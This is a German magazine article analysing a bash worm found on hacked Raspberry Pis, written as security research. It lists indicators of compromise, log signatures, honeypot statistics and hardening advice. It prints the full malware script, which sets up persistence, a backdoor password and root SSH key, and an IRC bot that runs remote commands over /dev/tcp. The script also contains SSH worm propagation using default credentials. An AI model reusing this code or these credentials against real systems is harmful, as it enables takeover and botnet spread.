Aus Linux-Magazin 03/2019

Analyse einer Raspi-Malware in Form eines Bash-Skripts

© Andrea Izzotti, 123RF

Auf gehackten Raspberry-Pi-Rechnern finden Admins eine Schadsoftware, die sie untersuchen, um ihre Funktion zu verstehen und eine Signatur zu erstellen, mit der die Malware in Log-Einträgen zu entdecken ist.

In Hochschulen, wissenschaftlichen Einrichtungen, aber auch in Unternehmen kommen immer häufiger Raspberry  Pis zum Zuge. Die kleinen Rechner sind der besseren Bedienbarkeit wegen oft sehr offen konfiguriert. Das heißt, der Benutzer Pi darf nicht selten jeden Befehl mittels »sudo« ohne Kenntnis des Rootpassworts mit Rootrechten ausführen.

Per Default hat der Nutzer Root kein Passwort, doch selbst wenn eins gesetzt ist, muss es bei Nutzung des Sudo-Befehls nicht eingegeben werden. Der Unterschied zwischen den Nutzern Root und Pi ist dann lediglich, dass Pi das zusätzliche »sudo« nicht vergessen darf. In einer Lern-Umgebung, für die der Raspberry  Pi konzipiert wurde, ist das hinnehmbar. Im produktiven Einsatz – gerade wenn sich der Rechner aus dem Internet erreichen lässt – ist sie gefährlich.

Wer den Raspberry  Pi nur mit Netzanschluss und ohne Monitor und Tastatur (headless) betreibt, braucht unbedingt einen SSH-Zugang. Der ist zwar normalerweise deaktiviert, lässt sich aber sehr einfach aktivieren. Ändert der Nutzer das Default-Passwort des Nutzers Pi nicht, dann ist der Rechner via SSH frei zugänglich. Ergibt sich zudem auch noch, dass der Raspberry über eine zu offene Firewall-Konfiguration oder eine Port-Weiterleitung im DSL-Router mit einer offiziellen IP-Adresse über Port 22 erreichbar ist, so kann man darauf warten, dass jemand diesen Rechner hackt. Der Autor hatte Gelegenheit zwei so kompromittierte Raspberry  Pis zu untersuchen.

Forensische Analyse

Kommt eine Micro-SD-Karte (typischerweise mit 16 GByte) als Datenträger zum Einsatz, ist es leicht, eine 1:1-Kopie der “Festplatte” als gezippte Datei über File-Sharing-Dienste für die weitere Analyse beiseitezulegen. In den beiden untersuchten Fällen zeigte sich, dass die Hacker eine identische Malware installiert hatten. Dabei handelte es sich um ein Shellskript, was die Analyse relativ einfach machte.

Das Ziel dabei war, “Indicators of Compromise” (siehe Kasten) zu finden, also Merkmale, mit deren Hilfe sich feststellen lässt, ob ein anderer Raspberry  Pi infiziert ist. Zusätzlich galt es, eine Signatur zu finden, mit der es möglich sein sollte, in Logdateien nach Aktivitäten des Skripts zu suchen.

Indicators of Compromise (IoC)

Die aufgefundene Raspberry-Pi-Malware lässt sich anhand einiger Merkmale identifizieren:

  • Die Datei »/etc/hosts« beinhaltet den Eintrag »127.0.0.1 bins.deutschland-zahlung.eu«.
  • Die Datei »/etc/rc.local« hat den folgenden Inhalt, wobei »$NEWMYSELF« eine zufällige Zeichenfolge aus acht alphanumerischen Zeichen ist:
#!/bin/sh -e
/opt/$NEWMYSELF
exit 0
  • Es existiert eine Datei »/tmp/.s«, deren Inhalt ein Datum ist.
* Es existiert eine Datei <C>/opt/.r<C>, deren Inhalt keine, eine oder mehrere IP-Adressen sind.
  • Der Passwort-Hash für den Benutzer Pi hat den Wert:
\$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1
  • Die Datei »/root/.ssh/authorized_keys« enthält den etwas unübersichtlichen Eintrag:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B
  • Des Weiteren existiert eine Schlüssel-Datei »/tmp/public.pem« mit dem folgenden Inhalt:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJsglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HWrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAFWRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----

Bei der Untersuchung der Festplatte des infizierten Raspberry  Pi fiel recht schnell ein Bash-Skript im Verzeichnis »/opt« auf. Eine Analyse des Skripts zeigte, dass es sich um eine Schadsoftware handelt, die im Prinzip so aufgebaut war, wie es Abbildung 1 zeigt.

Abbildung 1: Schematischer Ablauf des gefundenen Malware-Shellskripts.

Abbildung 1: Schematischer Ablauf des gefundenen Malware-Shellskripts.

Das Skript (Listing 1) ist auf einem eigenen infizierten Raspberry  Pi oder auch im Internet in verschiedenen Blogbeiträgen zu finden, zum Beispiel [1]. In ihm ist noch rudimentärer Debug-Code (Zeilen 4, 5 und 18) enthalten. Die Produktivversion leitet die Ausgabe der diversen Print-Befehle nach »/dev/null« um.

Listing 1

Malware-Skript

001 #!/bin/bash
002
003 MYSELF=`realpath $0`
004 DEBUG=/dev/null
005 echo $MYSELF >> $DEBUG
006
007 if [ "$EUID" -ne 0 ]
008 then
009    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
010    sudo cp $MYSELF /opt/$NEWMYSELF
011    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
012    sudo sh -c "echo /opt/$NEWMYSELF >>/etc/rc.local"
013    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
014    sleep 1
015    sudo reboot
016 else
017    TMP1=`mktemp`
018 echo $TMP1 >> $DEBUG
019
020 killall bins.sh
021 killall minerd
022 killall node
023 killall nodejs
024 killall ktx-armv4l
025 killall ktx-i586
026 killall ktx-m68k
027 killall ktx-mips
028 killall ktx-mipsel
029 killall ktx-powerpc
030 killall ktx-sh4
031 killall ktx-sparc
032 killall arm5
033 killall zmap
034 killall kaiten
035 killall perl
036
037 echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
038 rm -rf /root/.bashrc
039 rm -rf /home/pi/.bashrc
040
041 usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
042
043 mkdir -p /root/.ssh
044 echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
045
046 echo "nameserver 8.8.8.8" >> /etc/resolv.conf
047 rm -rf /tmp/ktx*
048 rm -rf /tmp/cpuminer-multi
049 rm -rf /var/tmp/kaiten
050
051 cat > /tmp/public.pem <<EOFMARKER
052 -----BEGIN PUBLIC KEY-----
    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJsglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HWrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAFWRq+Z8HYMvPlgSRA3wIDAQAB
053 -----END PUBLIC KEY-----
054 EOFMARKER
055
056 BOT=`mktemp -u 'XXXXXXXX'`
057
058 cat > /tmp/$BOT <<'EOFMARKER'
059 #!/bin/bash
060
061 SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
062 NICK=a${SYS:24}
063 while [ true ]; do
064    arr[0]="ix1.undernet.org"
065    arr[1]="ix2.undernet.org"
066    arr[2]="Ashburn.Va.Us.UnderNet.org"
067    arr[3]="Bucharest.RO.EU.Undernet.Org"
068    arr[4]="Budapest.HU.EU.UnderNet.org"
069    arr[5]="Chicago.IL.US.Undernet.org"
070    rand=$[$RANDOM % 6]
071    svr=${arr[$rand]}
072    eval 'exec 3<>/dev/tcp/$svr/6667;'
073    if [[ ! "$?" -eq 0 ]] ; then continue
074    fi
075
076    echo $NICK
077
078    eval 'printf "NICK $NICK\r\n" >&3;'
079    if [[ ! "$?" -eq 0 ]] ; then continue
080    fi
081    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
082    if [[ ! "$?" -eq 0 ]] ; then continue
083    fi
084
085    # Main loop
086    while [ true ]; do
087        eval "read msg_in <&3;"
088
089        if [[ ! "$?" -eq 0 ]] ; then break
090        fi
091
092        if [[ "$msg_in" =~ "PING" ]] ; then
093            printf "PONG %s\n" "${msg_in:5}";
094            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
095            if [[ ! "$?" -eq 0 ]] ; then break
096            fi
097            sleep 1
098            eval 'printf "JOIN #biret\r\n" >&3;'
099            if [[ ! "$?" -eq 0 ]] ; then break
100            fi
101        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
102            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
103            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
104            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
105
106            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
107            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
108
109            if [[ "$sign" == "$hash" ]] ; then
110                CMD=`echo $privmsg_data | base64 -d -i`
111                RES=`bash -c "$CMD" | base64 -w 0`
112                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
113                if [[ ! "$?" -eq 0 ]] ; then break
114                fi
133            fi
134        fi
115    done
116 done
117 EOFMARKER
118
119 chmod +x /tmp/$BOT
120 nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
121 rm /tmp/nohup.log -rf
122 rm -rf nohup.out
123 sleep 3
124 rm -rf /tmp/$BOT
125
126 NAME=`mktemp -u 'XXXXXXXX'`
127
128 date > /tmp/.s
129
130 apt-get update -y --force-yes
131 apt-get install zmap sshpass -y --force-yes
132
133 while [ true ]; do
134    FILE=`mktemp`
135    zmap -p 22 -o $FILE -n 100000
136    killall ssh scp
137    for IP in `cat $FILE` do
138        sshpass -praspberry scp -o ConnectTimeout=6 -oNumberOfPasswordPrompts=1 -o PreferredAuthentications=password-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELFpi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1-o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null-o StrictHostKeyChecking=no "cd  /tmp && chmod +x $NAME && bash -c./$NAME" &
139        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -oNumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELFpi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpasspraspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp&& chmod +x $NAME && bash -c ./$NAME" &
140        done
141        rm -rf $FILE
142        sleep 10
143    done
144
145 fi

Erste Schritte

Das Skript prüft zuerst, ob es mit Rootrechten läuft (Zeile 7), und wenn nicht, kopiert es sich unter einem zufälligen Namen in das Verzeichnis »/opt« und trägt einen automatischen Start dieser Datei in »/etc/rc.local« ein (Zeilen 9 bis 13). Danach startet es den Rechner neu. Durch das offen konfigurierte Sudo-System ist das Anlegen eines beim Start mit Rootrechten auszuführenden Skripts kein Problem. Damit erweist sich einmal mehr, dass dies eine ungeeignete Konfiguration für Rechner ist, die aus dem Internet erreichbar sind.

Danach versucht das Skript eventuelle Konkurrenten zu stoppen (Zeilen 20 bis 35). Hier fällt die Ähnlichkeit zu einer Raspberry-spezifischen und von Dr. Web im Frühjahr 2017 erstmals beschriebenen Malware namens Linux.MulDrop.14 [2] auf Der Code dieser Schadsoftware lässt sich im Internet finden [3]. Sie enthält einen Miner für Kryptowährungen anstelle der IRC-Hintertür.

Bei den vom Skript terminierten Prozessen handelt es sich zum Beispiel um Mining- (»minerd«) oder DDoS-Software (»kaiten«, »ktx-*«) und um reguläre Programme (»node«, »nodejs«, »zmap«, »perl«). Vergleicht man ein Fragment des vorliegendes Skripts mit Linux.MulDrop.14, fällt auf, dass die Zeilen 37 bis 39 in beiden Skripten identisch sind. Wozu der Server »bins.deutschland-zahlung.eu« dient, ist unklar. Der Name wurde Anfang Dezember 2018 zu einer IP-Adresse im Bereich Amazon Web-Services EC2. Dieser Server verfügte jedoch über keine offensichtlich offenen Ports.

Die Hintertüren

In Zeile 41 wird auf interessante Weise das Passwort des Nutzers Pi geändert. Mit diesem Trick lässt sich in Skripten ein Passwort ändern, ohne dass jemand im Quellcode das Passwort lesen kann. Danach ist der reguläre Benutzer ausgeschlossen, da nur der Angreifer das Passwort des Benutzers Pi kennt. Das ist die erste Hintertür, die ausgenutzt werden kann, solange der Rechner aus dem Internet erreichbar bleibt.

Die Vermutung liegt nahe, dass dieser SHA512-Passwort-Hash zu dem Passwort »raspberryraspberry993311« (siehe Zeile 139 des Skripts) gehört. Diese Vermutung ist jedoch falsch. Mit dem kleinen Python-Programm aus Listing 2 lässt sich zu einem gegeben Salt der Hash eines Passworts berechnen. Dieses Passwort würde mit dem Salt aus Zeile 41 folgenden Passwort-Hash liefern:

$6$vGkGPKUr$d1efEcwH3k9nRe88rXrqJ6eKuR3s3hiH6S6gKYnv/D31OMQnbT07tUVdIXfmT1pfpgh8pxqZBaltP6m5Vhsg/

Um das Passwort zum Hash aus Zeile 41 zu bestimmen, müsste der Analyst einen Brute-Force-Angriff auf den SHA512-Hash starten. Angenommen sei eine identische Komplexität wie beim Passwort »raspberryraspberry993311«. Dieses Passwort besteht aus Kleinbuchstaben und Ziffern, also aus 36 möglichen Zeichen. Bei 24 Zeichen Länge ergibt sich eine Komplexität des zu durchsuchenden Passwortraums von 3624 = 2,25*1037.

Listing 2

Passwort-Hash berechnen

01 #!/usr/bin/python
02 # Getestet mit Python 2.7.13/Raspbian
03 import sys, crypt
04
05 type = "6" # fuer sha512 (siehe: man crypt)
06 salt = sys.argv[1]
07 password = sys.argv[2]
08 print "Hashtype:", type
09 print "Salt:    ", salt
10 print "Password:", password
11 typesalt = '$'+type+'$'+salt+'$'
12
13 print crypt.crypt(password, typesalt)

Mit dem Passwort-Knackprogramm Hashcat [4] und acht Tesla-GPUs sind – optimistisch gerechnet – 1010 Hashes pro Sekunde möglich. So wurden zum Beispiel mit einem System wie Sagitta Brutalis [5] und acht Nvidia GTX 1080 Founders Edition 8,4*109 SHA512-Hashes pro Sekunde gemessen [6]. Damit wären im ungünstigsten Fall etwa 4,2*1019 Jahre für das Knacken erforderlich.

In Linux.muldrop.14 findet sich auch die Zeile:

usermod -p \$6\$U1Nu9qCp\$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdN Jj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1 pi

Der Aufwand, diesen Hash zu kacken, ist genauso groß wie beim vorigen Hash. Beim simplen Test mit dem Python-Programm aus Listing 2 stellt sich aber heraus, dass dies der SHA512-Hash des Passworts »raspberryraspberry993311« ist. Da anzunehmen ist, dass der Autor der aktuellen Schadsoftware diesen Hash nicht geknackt hat, muss er ihn gekannt haben – ein Indiz, dass beide Skripte vom selben Autor stammen.

Anschließend trägt das Skript noch einen zusätzlichen SSH-Schlüssel in die Datei»/root/.ssh/authorized_keys« ein, damit der Virenautor sich jederzeit per Zertifikat-basierter Authentisierung via SSH als Root anmelden kann (Zeilen 43 bis 44). Das ist die zweite Hintertür, falls es dem legitimen Benutzer gelingt, das Passwort des Benutzers Pi zurückzusetzen.

Als Nameserver bestimmt das Skript den Google-Server (Zeile 46) und räumt noch mal auf (Zeilen 47 bis 49). Im Weiteren wird ein öffentlicher RSA-Schlüssel in »/tmp/public.pem« gespeichert (Zeilen 51 bis 53). Diesen Schlüssel benötigt der IRC-Bot, der damit Signaturen verifiziert. Danach wird das Bot-Skript gestartet (Zeile 120), die Spuren inklusive Skript werden gleich wieder gelöscht (Zeilen 121 bis 124). Das Skript läuft dann nur im Speicher des Raspberry  Pi und erzeugt die Logdatei »/tmp/bot.log«. So würde das Bot-Skript einen Neustart nicht überleben, da aber das eigentliche Skript bei jedem Reboot erneut startet, läuft auch das Bot-Skript jedes Mal an.

Eine Analyse der Logdatei »/tmp/bot.log« ergab auf beiden Raspis keine Anzeichen für eine erfolgreiche Kommunikation des Bot. Die Datei enthält nur den Output der Zeile 76 des Bot-Skripts, also den Nickname und diverse Fehlermeldungen.

Die Hauptschleife

Zuerst installiert das Skript dann die Pakete nach, die wahrscheinlich auf einem normalen Raspberry  Pi fehlenden: Zmap [7] und Sshpass [8] (Zeilen 130 bis 131). Zmap ist ein Netzwerkscanner, der darauf optimiert ist, den IPv4-Adressraum schnell mit Blick auf einen bestimmten Port abzuscannen. Ein handelsüblicher PC mit einer symmetrischen 1-GBit/s-Anbindung benötigt für einen Komplettscan rund 45 Minuten, eine 10-GBit/s-Anbindung mit entsprechender Hardware (typisch ein Linux-Cluster) und optimiertem TCP/IP-Stack (PF_RING, [9]) benötigt zirka fünf Minuten [7].

In Zeile 135 werden jeweils zufällige 100000 IP-Adressen auf Erreichbarkeit des Ports 22 gescannt. Die Trefferquote liegt durchschnittlich bei knapp 0,6 Prozent. In den vorliegenden beiden Fällen benötigte Zmap auf zwei Cores eines Raspberry 3B etwa 23 Sekunden für einen Aufruf.

Die eigentliche Ausbreitung bewerkstelligen dann die Zeilen 138 und 139. Sie versuchen per »scp« das Skript zu kopieren. Beim Anmelden verwendet das Skript dabei das Default-Passwort »raspberry« beziehungsweise das Passwort des Miners Linux.MulDrop.14. Im Erfolgsfall wird die IP-Adresse in der Datei »/opt/.r« gespeichert. Dann macht die Malware die kopierte Datei auf dem frisch gehackten Rechner ausführbar und startet sie.

Um ein Passwort für SSH per Skript zu setzen, benötigt man den Wrapper »sshpass«. Der gaukelt SSH eine interaktive Passworteingabe vor. Ein produktiver Einsatz von Sshpass ist riskant. Eine Automatisierung mit Zertifikat-basierter Anmeldung und einem SSK-Key-Agent erscheint sinnvoller.

Die Tabelle 1 zeigt die Zahl der insgesamt gescannten IP-Adressen, die Zahl der erreichbaren SSH-Ports und die Anzahl der erfolgreichen Logins mit einem der beiden Passwörter. Die Laufzeit eines Schleifendurchlaufs hängt von der genutzten Netzwerk-Schnittstelle ab. In beiden Fällen handelte es sich um einen Raspberry  Pi 3B.

Tabelle 1

Erfolgsstatistik

Raspberry

Gescannt

SSH-Treffer

Raspi-Treffer

Laufzeit

1

20,3·106

81770

6

2:30 (»wlan0«)

2

78,4·106

(unbekannt)

33

1:05 (»eth0«)

Beim ersten Raspberry konnten Admins die Zahl der gefundenen IP-Adressen mit SSH-Dienst bestimmen, da bei jedem (auch erfolglosen) Login eine Zeile in »/var/log/syslog« hinzukam (Listing 3). Da das Skript »UserKnownHostFile« auf »/dev/null« umgeleitet hat, ist für jeden der beiden Logins dieser Eintrag zu sehen, denn die Datei ist beim Lesen immer leer. Beim Zählen der IP-Adressen wurden die Dubletten entfernt. So war die Zahl der gefunden SSH-Server bestimmbar. Beim zweiten Raspberry gab es keine Log-Einträge.

Listing 3

Log-Einträge

01 Jul 10 15:39:39 raspberrypi rc.local[410]: Warning: Permanently added 'aa.bb.221.21' (ECDSA) to the list of known hosts.
02 Jul 10 15:39:39 raspberrypi rc.local[410]: Warning: Permanently added 'aa.bb.221.21' (ECDSA) to the list of known hosts.
03 Jul 10 15:39:40 raspberrypi rc.local[410]: Warning: Permanently added 'cc.dd.31.225' (ECDSA) to the list of known hosts.
04 Jul 10 15:39:40 raspberrypi rc.local[410]: Warning: Permanently added 'ee.ff.115.100' (RSA) to the list of known hosts.
05 Jul 10 15:39:40 raspberrypi rc.local[410]: Warning: Permanently added 'cc.dd.31.225' (ECDSA) to the list of known hosts.
06 Jul 10 15:39:40 raspberrypi rc.local[410]: Warning: Permanently added 'ee.ff.115.100' (RSA) to the list of known hosts.

Erwischt der Angreifer bei diesen Login-Versuchen einen normalen SSH-Server, kommt es zu zwei erfolglosen Logins, da nur jeweils der erste Befehl bis zum ersten »&&« ausgeführt wird. Diese doppelten Login-Versuche von derselben IP-Adresse innerhalb einer Sekunde sind eine deutliche Signatur dieses Skripts.

Der IRC-Bot

Eigentlich gilt es als altmodisch, aber dieses Skript erzeugt eine Hintertür zur Fernsteuerung des gekaperten Raspberry  Pi über IRC. Die Fernsteuerung scheint aber nicht mehr zu funktionieren, da wohl der IRC-Kanal »#biret« deaktiviert ist.

Dieses IRC-Skript verbindet sich mit einem aus sechs Möglichkeiten zufällig ausgesuchtem IRC-Server und setzt seinen Nickname auf einen Wert, der sich aus dem Output von »uname -a« berechnet. Die Kommunikation in »/tmp/bot.log« protokolliert Zeile 120. Der Provider Undernet managt eines der größten ICQ-Netze [10]. Er hat mit der Malware nichts zu tun.

Interessant ist Zeile 72 des Skripts. Sie erzeugt den File-Descriptor 3 zum Schreiben und Lesen zu dem angegeben TCP-Socket (etwa »/dev/tcp/ix1.undernet.org/6667« bei Auswahl des ersten Servers). So lässt sich sehr einfach die Kommunikation zu einem Server mit einfachen »printf«- und »read«-Kommandos skripten.

Das Skript reagiert auf »PING«-Kommandos mit einem »PONG« (Zeilen 93 bis 96) und verbindet sich mit dem IRC-Kanal »biret« (Zeile 98). Darüber hinaus reagiert es auf private Nachrichten (»PRIVMSG«, Zeilen 102 bis 104). Diese enthalten Base64-kodiert ein Kommando. Das Kommando kopiert das Skript nach »privmsg_data«, eine digitale Signatur gelangt nach »privmsg_h«.

Anschließend vergleicht es die Md5-Prüfsumme des dekodierten Kommandos (»hash«) mit der entschlüsselten Prüfsumme aus der Signatur (»sign«). Das Kommando startet nur, wenn die digitale Signatur in Ordnung ist (Zeile 109). Das Ergebnis der Ausführung wird Base64-kodiert zurückgeschickt.

Auswertung von Logdateien

Wer die Log-Einträge »Invalid user pi from …« auswertet, erhält zahlreiche Ergebnisse. Danach lässt sich zum einen die gesamte Zahl der ungültigen Anmeldeversuche bestimmen. Zum anderen ergibt sich so auch die Anzahl von doppelten Login-Versuchen von einer IP-Adresse in einem Abstand von weniger als einer Sekunde (im Weiteren als Paare bezeichnet) als Signatur dieses Skripts.

Eine erste Auswertung der Logdateien von drei teilweise als Honeypot genutzten Rechnern im Zeitfenster vom 5.8. bis 4.9.2018 (31 Tage) ist in Tabelle 2 dargestellt. Zwischen 1,5 und 2,5 Ereignisse pro IP-Adresse und Tag zeigen, dass das Skript noch eifrig scannt.

Tabelle 2

Angriffe auf die Honeypots

Rechner

Logins

Paare

Paare/Tag

DSL Anschluss

184

84

2,7

RZ Netcup

140

64

2,1

RZ 1&1

128

48

1,5

Danach wertete der Autor noch zwei unterschiedliche Log-Datensätze aus. Der erste sammelte alle ungültigen Login-Versuche mit dem Nutzernamen Pi per SSH zwischen dem 13.4.2013 und dem 7.9.2018 für einen Server. Der zweite Datensatz enthielt ungültige Login-Versuche mit dem Nutzernamen Pi per SSH auf die Server einer Forschungseinrichtung vom 25.11.2018 3:27 Uhr bis zum 27.11.18 11:35 Uhr, also für 56 Stunden und 8 Minuten. Insgesamt gab es in dieser Einrichtung ungültige Login-Versuche auf 188 verschiedenen Rechnern. Im ersten Setting gab es 4156 Einträge (Abbildung 3), davon waren 1025 Paare. Das erste Paar erschien am 10.6.2017. Damit traten hier in einem Zeitfenster von 455 Tagen Paare auf, im Mittel 2,2 pro Tag.

Abbildung 3: Ung&uuml;ltige Login-Versuche des Nutzers Pi.

Abbildung 3: Ungültige Login-Versuche des Nutzers Pi.

Die Login-Versuche kamen von 799 verschiedenen IP-Adressen. Die drei Ereignisse mit einem stark erhöhten Aufkommen der Login-Versuche im Juli 2015, Februar 2016 und August 2016 lassen sich im Nachhinein allerdings nicht mehr analysieren, da es kaum noch Daten aus dieser Zeit gibt.

Vor April 2015 finden praktisch keine ungültigen Login-Versuche (weniger als zwölf pro Jahr) mit dem Nutzer Pi statt. Zugleich ist eine Zunahme der Aktivität etwa ab Juni 2017 zu verzeichnen. Eine genauere Betrachtung dieses Zeitfensters zeigt dann auch die ersten Signaturen des Paare-Skripts (Listing 4) ab dem 10.6.2017.

Listing 4

Paare

01 2017-06-10T18:18:10+02:00 gexx sshd[40851]: Invalid user pi from aa.99.1.209 port 59720
02 2017-06-10T18:18:10+02:00 gexx sshd[40849]: Invalid user pi from aa.99.1.209 port 59718
03 2017-06-10T19:38:48+02:00 gexx sshd[42757]: Invalid user pi from bb.11.98.34 port 60270
04 2017-06-10T19:38:48+02:00 gexx sshd[42755]: Invalid user pi from bb.11.98.34 port 60268
05 2017-06-12T07:06:04+02:00 gexx sshd[43911]: Invalid user pi from cc.85.40.39 port 33416
06 2017-06-12T07:06:04+02:00 gexx sshd[43913]: Invalid user pi from cc.85.40.39 port 33422
07 2017-06-12T23:16:34+02:00 gexx sshd[25281]: Invalid user pi from dd.156.53.87 port 41590
08 2017-06-12T23:16:34+02:00 gexx sshd[25279]: Invalid user pi from dd.156.53.87 port 41586
09 2017-06-13T02:34:34+02:00 gexx sshd[29379]: Invalid user pi from ee.145.20.194 port 59910
10 2017-06-13T02:34:34+02:00 gexx sshd[29377]: Invalid user pi from ee.145.20.194 port 59908

Im zweiten Setting gab es in 56 Stunden 2022 Einträge und davon 660 Paare. Das entspricht 11,8 Paaren pro Stunde oder 3,5 Paare pro Server. Damit ergeben sich 1,5 Paare pro Server und Tag. Die Login-Versuche kamen von 267 verschiedenen IP-Adressen.

Skript bekannt

Auf Virus Total erkennen 24 von 58 Scannern das Skript als Malware [11]. Dort wird als “First Seen In The Wild” der 13.6.2017 angegeben, der erste Upload zu Virus Total datiert auf den 14.6.2017. Das Linux.Muldrop.14-Skript erkennen 16 von 56 Virenscannern [12]. Die dem Autor vorliegende Variante aus [3] wurde allerdings zum ersten Mal nach Virus Total hochgeladen.

Ein stichprobenartiger Test, um sicher festzustellen, ob diese Login-Versuche auch tatsächlich von Raspberry Pis kamen, zeigt anhand des SSH-Banners, dass es sich jeweils ohne Frage um das Betriebssystem Raspbian handelt.

Fazit: Lessons learned

Die Firewalls eines Unternehmens oder einer Organisation sollten eingehende Verbindungen nur zu solchen Ressourcen zulassen, die explizit freigegeben beziehungsweise zentral betreut sind. Zudem müssen SSH-Server stets besonders abgesichert sein, denn auf dem SSH-Port ist mit sehr vielen Brute-Force-Angriffen auf Passwörter zu rechnen.

Darüber hinaus ist es sehr sinnvoll, mit den Tools der Hacker – hier insbesondere mit Zmap – im eigenen IP-Adressbereich nach offenen Ports zu suchen. Dafür eignet sich bereits ein Raspberry Pi als Scanner. Spezielle Schwachstellenscanner wie etwa Open VAS/Greenbone [13] können zusätzlich auch ganz gezielt nach Diensten mit Default-Passwörtern suchen. Default-Passwörter muss der Admin oft ändern, da nicht von vornherein auszuschließen ist, dass das betroffene System nicht doch irgendwann im Internet erreichbar sein wird.

Die heute übliche und gerade auch beim Raspberry Pi offene Konfiguration von Sudo ist nicht für Rechner geeignet, die aus dem Internet erreichbar sein sollen. Hier ist in jedem Fall vor der Freigabe eine angepasste (sprich: gehärtete) Konfiguration einzuspielen.

Das Beispiel belegt: Es gibt aktive Linux-Malware – hier in einer Inkarnation für Raspbian –, die durchaus für Ärger sorgt und Arbeit machen kann. Auch Linux ist keinesfalls resistent gegen böswillige Software! Die vorliegende Malware ist immer noch aktiv und produziert Tag für Tag Log-Einträge.

Sicherheitskonferenz des DFN CERT

Einen Vortrag zu diesem und zu vielen anderen spannenden Themen rund um IT-Sicherheit bietet die 26. DFN-Konferenz “Sicherheit in vernetzten Systemen” im Grand Elysee Hotel, Hamburg, die der DFN-Verein am 6. und 7. Februar 2019 zusammen mit dem DFN CERT ausrichtet.

Der Autor

Rainer W. Gerling war von 1993 bis 2013 Datenschutzbeauftragter und ist seit 2006 der IT-Sicherheitsbeauftragte der Max-Planck-Gesellschaft. Außerdem lehrt er als Honorarprofessor für das Fachgebiet IT-Sicherheit an der Fakultät für Informatik und Mathematik der Hochschule München. Er ist ein gefragter Referent für Tagungen und Seminare.

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 7 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
LINUX-MAGAZIN KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS Readly Logo
E-Mail Benachrichtigung
Benachrichtige mich zu:
0 Kommentare
Älteste
Neuste Beste Bewertung
Nach oben